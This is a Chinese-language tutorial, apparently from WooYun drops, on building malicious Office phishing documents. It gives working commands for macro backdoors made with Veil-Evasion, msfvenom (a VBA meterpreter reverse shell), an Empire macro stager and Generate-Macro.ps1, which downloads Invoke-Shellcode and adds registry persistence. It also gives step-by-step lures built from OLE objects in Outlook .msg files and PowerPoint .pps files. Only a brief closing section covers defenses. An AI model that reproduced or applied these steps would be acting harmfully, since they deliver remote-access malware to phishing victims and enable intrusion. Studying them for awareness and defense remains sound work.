Office作為Windows平臺下一種非常流行的辦公軟件,越來越多的APT攻擊通過構造惡意Office文件來進行實施,這也是成功率也是比較高的一種攻擊方式。當然最隱蔽,最有效的攻擊方式就是通過Office辦公套件的一些0day來實施攻擊,但是這也同樣存在一些弊端,首先不是所有人都擁有0day,其次那些已經公布的Xday可能只能針對某些固定版本的Office,所以本文重點不在如果使用Xday,而是對現在已知的一些構造Office Phishing File的方式及方法進行總結,希望對學習Hack的同學有所幫助,當然也希望,通過此文,小伙伴能避免遭受此類攻擊。
以下測試均在安裝某安全衛士的Win10上面進行。
宏是微軟公司為其OFFICE軟件包設計的一個特殊功能,軟件設計者為了讓人們在使用軟件進行工作時,避免一再地重復相同的動作而設計出來的一種工具,它利用簡單的語法,把常用的動作寫成宏,當在工作時,就可以直接利用事先編好的宏自動運行,去完成某項特定的任務,而不必再重復相同的動作,目的是讓用戶文檔中的一些任務自動化。但是宏在提供方便的同時,也存在很大的風險,其危害在Freebuf上也有過相關文章:《MWI-5:利用Office宏下載鍵盤記錄器的攻擊活動分析》,下文將會介紹幾個知名工具構造宏后門的方式。
測試使用powershell/shellcode_inject/virtual,選擇以后直接generate
隨便輸入一個名字之后成功生成:
然后需要下載一個轉換腳本:
#!bash
? office git clone https://github.com/khr0x40sh/MacroShop.git
使用下載的python腳本轉換為VBA腳本:
#!bash
[email protected]:~/script/MacroShop# python macro_safe.py /usr/share/veil-output/source/test.bat
之后將生成的內容添加到OFFice文件宏里面。創建宏,注意選擇宏的位置
為當前文檔:
接下來選擇Project 下面的Microsoft Word對象,選擇Document->open,然后將生成的代碼粘進去。要保存的代碼如下圖
這里注意一點,腳本生成的默認是打開表格的宏,所以,這里只要函數內容,注意打鉤的。
之后保存為啟用宏的Word文檔或者doc文檔。
開啟監聽:
#!bash
[email protected]:~/Veil-Evasion# msfconsole -r /usr/share/veil-output/handlers/test_handler.rc
打開word文檔會有此提示:
點擊啟用,則生成meterpreter會話。
nishang的使用早在《使用powershell Client進行有效釣魚》 有所介紹,有興趣的小伙伴可以再去看看。
作為一個神器,Msf當然也可以生成VBA的后門文件,具體命令如下:
#!bash
? ~ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.100 lport=8888 -e x86/shikata_ga_nai exitfunc=thread -f vba > vcode.txt
#!bash
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > execute
(Empire: listeners) > usestager macro
(Empire: stager/macro) > set Listener test
(Empire: stager/macro) > set OutFile /tmp/macro.txt
(Empire: stager/macro) > execute
[*] Stager output written out to: /tmp/macro.txt
將代碼寫入宏,執行可成功返回會話:
#!bash
? office git clone https://github.com/enigma0x3/Generate-Macro.git
使用方式如下:
#!powershell
PS C:\Users\Evi1cg\Desktop> . .\Generate-Macro.ps1
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-Shellcode.ps1
Enter IP Address: 192.168.2.111
Enter Port Number: 6666
Enter the name of the document (Do not include a file extension): Macro
--------Select Attack---------
1. Meterpreter Shell with Logon Persistence
2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin)
3. Meterpreter Shell with Alternate Data Stream Persistence
4. Meterpreter Shell with Scheduled Task Persistence
------------------------------
Select Attack Number & Press Enter: 1
--------Select Payload---------
1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
------------------------------
Select Payload Number & Press Enter: 2
Saved to file C:\Users\Evi1cg\Desktop\Macro.xls
Clean-up Script located at C:\Users\Evi1cg\Desktop\RegistryCleanup.ps1
運行Excel以后則生成meterpreter會話:
同時生成自啟動后門:
具體鍵值為
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
清除后門可以使用如下命令:
#!powershell
PS C:\Users\Evi1cg\Desktop> . .\RegistryCleanup.ps1
[*]Successfully Removed config.vbs from C:\Users\Public
[*]Successfully Removed Malicious Load entry from HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
[!]Path not valid
[!]Path not valid
具體其他后門的使用,有興趣的小伙伴可是自己實踐一下。
其他Macro后門相關的腳本如下:
OLE是Object Linking and Embedding的縮寫,即“對象鏈接與嵌入”,這是一種把一個文件的一部分嵌入到另一個文件之中的技術,此類攻擊方式也被常常應用于APT中,其有一個好處就是不需要用戶開啟宏,及在禁用宏的情況下執行命令。
@三好學生 之前在Zone里面曾經有一個介紹:Outlook OLE 釣魚郵件利用介紹,本人在win10+offcie2016下作了測試,在這里做一下簡單的介紹,制作此釣魚文件步驟如下:
新建郵件,在設置文本格式處選擇RTF:
選擇插入->對象->Package,選擇顯示為圖標:
然后將圖標換為Word圖標,并修改題注為迷惑性名稱:
綁定指定程序或腳本;
將RTF再改為HTML ;
添加其他迷惑內容 :
保存為test.msg ;
發送給受害者。
受害者運行以后會有以下提示:
點擊是以后會彈:
點擊打開,成功執行:
通過PowerPoint演示文稿進行Phishing,同樣不需要啟用宏,制作步驟如下:
創建VBS腳本,為了簡單演示,只寫了一個彈框:
#!vb
Msgbox("test")
將VBS拖入PPT;
為VBS添加動畫->OLE操作動作并選擇激活,如下圖:
選擇動畫窗格->效果選項:
選擇計時->與上一動畫同時:
為PPT添加內容;
另存為放映文件pps或者ppsx;
發送給受害者。
受害者打開會彈出如下提示框:
點擊打開,執行腳本。
對于VBS后門,本文就不再詳細描述怎么制作了,很多姿勢小伙伴們可以自己搜集一下,比較好玩兒的請參考:JavaScript Phishing
對于VBS腳本可以使用這個腳本來進行加密:ncode-and-Decode-a-VB
關于通過Office宏或者OLE對象進行的攻擊從90年代開始了,然而現在還在利用中,如何更好地防御此類攻擊呢?
配置組策略,如果在域下,可以批量配置管理模板。
設置 Disable all except digitally signed macros:
更多細節請看這里
對于.msg、.rtf、.pps 后綴的文件要格外注意;
采用EMET,如果你不知道EMET是什么,可以看這里。
以上方法來自于it-s-time-to-secure-microsoft-office,關于規劃Office的VBA宏的安全設置請看這里。
使用Office進行APT攻擊的情形越來越多,在沒有0day的情況下,我們應該至少對于以上類型的釣魚攻擊進行了解及防范,以上為個人所了解的幾種構造Office釣魚文件的方式,可能并不全面,如果小伙伴還有別的姿勢,請不吝賜教。
本文由evi1cg原創并首發于烏云drops,轉載請注明